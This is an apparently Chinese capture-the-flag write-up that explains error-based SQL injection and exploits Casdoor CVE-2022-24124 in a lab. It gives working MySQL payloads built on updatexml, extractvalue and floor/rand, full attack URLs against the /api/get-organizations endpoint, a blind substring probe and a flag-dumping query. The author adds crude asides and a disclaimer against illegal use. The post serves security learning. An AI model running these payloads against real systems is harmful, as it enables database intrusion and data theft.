报错注入原理:
报错注入的原理是利用应用程序在处理用户输入时存在漏洞,攻击者通过巧妙构造的恶意输入,触发应用程序执行包含SQL查询的操作,并故意引发数据库系统的错误,以从错误消息中获取敏感信息。以下是报错注入的基本原理步骤:
用户输入的不安全处理:应用程序通常允许用户在表单字段、URL参数或其他输入方式中提供数据,这些数据将用于构建SQL查询。如果应用程序未正确验证和处理用户输入,就有可能存在漏洞。
构造恶意输入:攻击者利用这个漏洞,构造恶意输入,将恶意SQL代码插入到用户输入中,这个恶意SQL代码将成为应用程序生成的SQL查询的一部分。
触发SQL错误:攻击者的恶意输入旨在触发SQL查询中的错误。这可以通过引发SQL语法错误、类型转换错误、除零错误等方式来实现。当应用程序执行包含恶意输入的SQL查询时,数据库系统会检测到错误并生成一个错误消息。
获取错误消息:攻击者从错误消息中提取敏感信息。错误消息通常包含数据库系统的详细信息,如数据库类型(例如MySQL、SQL Server、PostgreSQL等)以及有关查询结构和数据的提示。攻击者可以分析这些错误消息来获取关于数据库的有用信息,例如表名、列名、查询结构等。
进一步的攻击:一旦攻击者了解了数据库的结构和数据,他们可以进一步利用漏洞,执行其他SQL注入攻击,例如检索敏感数据、修改数据或控制数据库服务器。
给大家分享几个常用的报错注入函数,碰到直接拿着搞就行了
1、updatexml()
updatexml()函数通常与XML数据一起使用,并且在某些数据库系统中可用,如Oracle。攻击者可能会尝试滥用该函数来进行XML注入攻击,以获取敏感信息。
updatexml()函数是 MYSQL 对 XML 文档数据进行查询和修改的 XPATH 函数
①Xml:可扩展语言;
②update():函数更新。
③组合,具有查询功能的函数,用于查询xpath。
payload:updatexml(Xml_document,Xpathstring,new_value)
①xml_document:xml标记
②Xpathstring:显示输入语句
③new_value:新值
具体用法:updatexml(1,concat(0x7e,(select database()),0x7e),1)
2、extractvalue()
extractvalue()函数也是 MYSQL 对 XML 文档数据进行查询的 XPATH 函数
Payload:extractvalue(xml_document,concat(0x7e,concat(database())))
具体用法:extractvalue(1,concat(0x7e,(select database())))
3、floor()
floor()函数是 MYSQL 中用来取整的函数
具体用法: (select 1 from (select count(*),concat(version(), floor(rand(0)*2))x from information_schema.tables group by x)a)#
切入主题,用报错注入赶紧搞出flag,耽误我看美女!
涉及工具:
1、HackBar(火狐浏览器用V2版本即可,功能一样,关键是免费)
HackBar是一个用于浏览器的开发者工具插件,它提供了一系列用于测试和探测Web应用程序安全漏洞的工具和功能。通常,HackBar插件被广泛用于进行Web应用程序渗透测试和漏洞扫描。
以下是HackBar插件通常提供的一些功能和工具:
编码/解码工具:HackBar允许用户执行各种编码和解码操作,例如URL编码、Base64编码、Hex编码等,以测试输入值是否被适当地处理。
HTTP请求构建器:插件允许用户手动构建和发送HTTP请求,包括GET、POST、PUT、DELETE等请求类型。这对于测试Web应用程序的不同端点和功能非常有用。
Cookie编辑器:HackBar允许用户轻松编辑浏览器中的Cookie,以测试会话管理漏洞。
SQL注入工具:插件提供了SQL注入测试工具,可用于检测Web应用程序是否容易受到SQL注入攻击。
XSS(跨站脚本攻击)测试:HackBar可用于测试XSS漏洞,包括反射型和存储型XSS。
Payload生成器:插件提供了用于生成常见攻击载荷的工具,如XSS、SQL注入和命令注入。
漏洞扫描工具:HackBar可以用于快速扫描Web应用程序,以识别常见的漏洞,如SQL注入、XSS和CSRF(跨站请求伪造)。
请注意,HackBar是一个强大的工具,但它也可以用于不正当用途,因此只应用于合法的安全测试和渗透测试活动。在使用HackBar或任何其他安全工具进行测试之前,您应该获得适当的授权,并确保遵守适用的法律和道德规范。
2、Burpsuite
Burp Suite是一款广泛使用的网络应用程序安全测试工具,主要用于渗透测试和安全评估。它由PortSwigger Web Security开发,提供了一套强大的功能,用于检测和利用Web应用程序中的安全漏洞。Burp Suite的主要特点包括:
代理服务器:Burp Suite包含一个代理服务器,允许用户拦截、修改和重放HTTP请求。这对于检测和修复Web应用程序的漏洞非常有用,如SQL注入、XSS、CSRF等。
漏洞扫描器:Burp Suite内置了漏洞扫描器,可用于自动检测常见的Web安全漏洞,如SQL注入、XSS、命令注入等。
爬虫工具:Burp Suite包括一个爬虫工具,用于自动发现和分析Web应用程序的页面和功能。
内容分析:工具可以帮助用户分析HTTP请求和响应,查找敏感信息、隐藏的参数和漏洞。
扩展性:Burp Suite允许用户编写自定义扩展,以增加其功能。这意味着您可以根据需要扩展工具的能力。
会话管理:工具提供了会话管理功能,允许用户处理和编辑Web应用程序的会话,以测试会话管理漏洞和身份验证问题。
漏洞利用:Burp Suite包含一些工具,用于利用已发现的漏洞,如SQL注入、XSS等。
协作和报告:工具支持团队协作,允许安全团队共享数据和报告漏洞。
Burp Suite的强大功能使其成为Web应用程序安全测试的重要工具。然而,使用Burp Suite需要一定的学习和经验,以确保正确地使用和理解其功能。此外,使用Burp Suite进行安全测试时,应始终获得适当的授权,并遵守法律和道德规范。
解题思路:
1、信息收集,当时要渗透测试第一件事就是要信息收集!!!!这是必须的!当然我这题目信息是使用官方公布的POC,这题目我研究了好久,乱七八糟工具能用的就用,我没找到更简单的方法,看美女都没有心情了
悄悄的告诉你,再攻靶的时候可以根据CVE编号到官网去查POC,毕竟是已经有的漏洞,前者都已经验证完成,只需要你直接利用就好啦,但是不建议完全照搬,要注意思考,一定一定要花上时间研究明白到底是怎么拿到flag的,别着急去看美女,搞靶的时候把女人抛掷脑后!
2、验证官方POC是否可以利用
3、POC验证没问题可用,进行漏洞利用(EXP),构造语句拿flag!
一、题目&tip
二、信息收集
官方公布的POC:
/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),3)
三、验证官方POC是否可以利用
那我来验证一下
updatexml(1,version(),3) 中的updatexml是一个用于更新XML数据的函数。
①1 是目标XML中的节点位置。
②version()函数是攻击者希望插入的值,这里是数据库版本信息。
③3 是目标XML的节点类型。
攻击者的意图是将
version()
函数的结果嵌入到XML数据中的指定位置,以便暴露数据库的版本信息。
到这说明已经坐实有报错注入漏洞了
四、POC验证没问题可用,进行漏洞利用(EXP),构造语句拿flag
继续构造语句再进一步查询数据库、表、列、内容吧,和union联合注入的思路差不多一样了
查询数据库名称
updatexml(1,concat(0x7e,(select database()),0x7e),3) 中的updatexml是一个用于更新XML数据的函数。
①1 是目标XML中的节点位置。
②concat(0x7e,(select database()),0x7e) 部分构造了一个包含select database()查询结果的字符串,并在两侧使用0x7e(波浪符号)进行连接。这将select database()查询的结果嵌入到字符串中。
③3 是目标XML的节点类型。 攻击者的意图是将select database()查询的结果插入到XML数据中的指定位置,以便获取数据库的名称。
注意:有的环境updatexml(1,concat(0x7e,(select database()),0x7e),3)构造这个语句可用,有的不可用(我是一开始可以,后边就不可以了),会回显casdoor:Error 1105: Only constant XPATH queries are supported,听前辈说:
这时是因为输出的内容在响应包和页面中被限制了。。。。。
在 HTTP 响应中,我们可以看到 XPATH 语法错误中的函数输出,但是输出被截断并在响应中显示有限的字符。熟练的攻击者可以使用函数绕过此限制,例如,该函数可用于从具有指定长度的指定偏移量中提取字符串的一部分。
链接如下:
Casdoor SQL Injection (CVE-2022-24124) | Qualys Security Blog
而这两个函数对输出时是没有进行截断的有限的字符
version():查询数据库版本
substring():SUBSTRING()
函数是一种在SQL中用于提取字符串子串的函数。不同的数据库系统可能具有稍微不同的语法,但通常的语法如下:
SUBSTRING(string, start, length)
string
是要从中提取子串的原始字符串。start
是子串的起始位置,通常从1开始计数。length
是要提取的子串的长度。
示例:
假设有一个包含员工姓名的表格,例如:
| EmployeeName |
|--------------|
| John Smith |
| Alice Brown |
| Bob Johnson |
您可以使用SUBSTRING()
函数来提取每个员工的姓氏:
SELECT SUBSTRING(EmployeeName, 1, 4) AS LastName FROM employees;
这将返回以下结果:
| LastName |
|----------|
| John |
| Alice |
| Bob |
在这个示例中,SUBSTRING(EmployeeName, 1, 4)
提取了每个员工姓名的前4个字符,即员工的名字。
那这样需要截取一个字符判断一个字符是不是正确的,猜正确后和猜失败后页面回显结果不一样,以下我举个例子,猜数据库个数的正确和错误的回显:
POC:
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select count(schema_name) from information_schema.schemata),1,1) = '4') <> name
COUNT()
函数非常有用,可以用于生成数据的摘要统计信息,例如计数特定条件下的行数。不同的数据库系统可能会有一些扩展功能或特定语法,但基本的COUNT()
函数在大多数SQL数据库中都有广泛的支持。
正确回显(数据库一共有4个):
错误回显:
我这边直接公布测试结果了,
数据库名 casdoor
表 flag
列 flag
直接输出flag语句如下:
api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=(select 1 from (select count(*), concat((select concat(',',id,flag) from casdoor.flag limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
当然这样盲猜的话自己人为挨个试费老劲了,累还不说,关键是耽误早点看美女啊,那下面我给大家分享一下BurpSuite里边的intruder爆破模块,我就不一一讲了,我直接链接到前辈那边,讲的挺细的,从2.2 burp爆破字符: 开始看就可以了
链接春秋云境:CVE-2022-24124(Casdoor api get-oraganizations SQL注入)-优快云博客
边做编写的,不要在乎排版规范哈,关键能懂最好,不懂得欢迎随时骚扰,好了好了,我可以看美女了
-----------------------------------------------------------声明--------------------------------------------------------------
尊敬的读者,
感谢您访问我的博客并阅读我的文章。我非常欢迎您在这里学习、分享和交流技术、知识和见解。
我要强调的是,我坚决反对任何形式的非法活动和滥用我的博客内容。请遵守以下原则:
1. **合法性**:我鼓励技术讨论和知识分享,但请不要将我的博客内容用于非法目的,包括但不限于黑客攻击、侵犯隐私、盗版、网络欺诈等。
2. **尊重他人**:请在评论和互动中保持尊重和礼貌,不要使用侮辱性、威胁性或冒犯性语言。
3. **知识产权**:尊重知识产权和版权。不要在未经授权的情况下复制、分发或传播我的博客内容。
4. **合法咨询**:如果您有任何与法律或道德有关的疑虑或问题,请咨询合法专业人士的建议。
我的目标是为读者提供有用的信息和资源,以促进学习和技术进步。我相信,只有在合法和道德的框架内,我们才能实现这一目标。
如果您对我的博客内容有任何疑虑或需要进一步了解,请随时联系我。感谢您的合作和理解。
最诚挚的问候,
Dark-Specter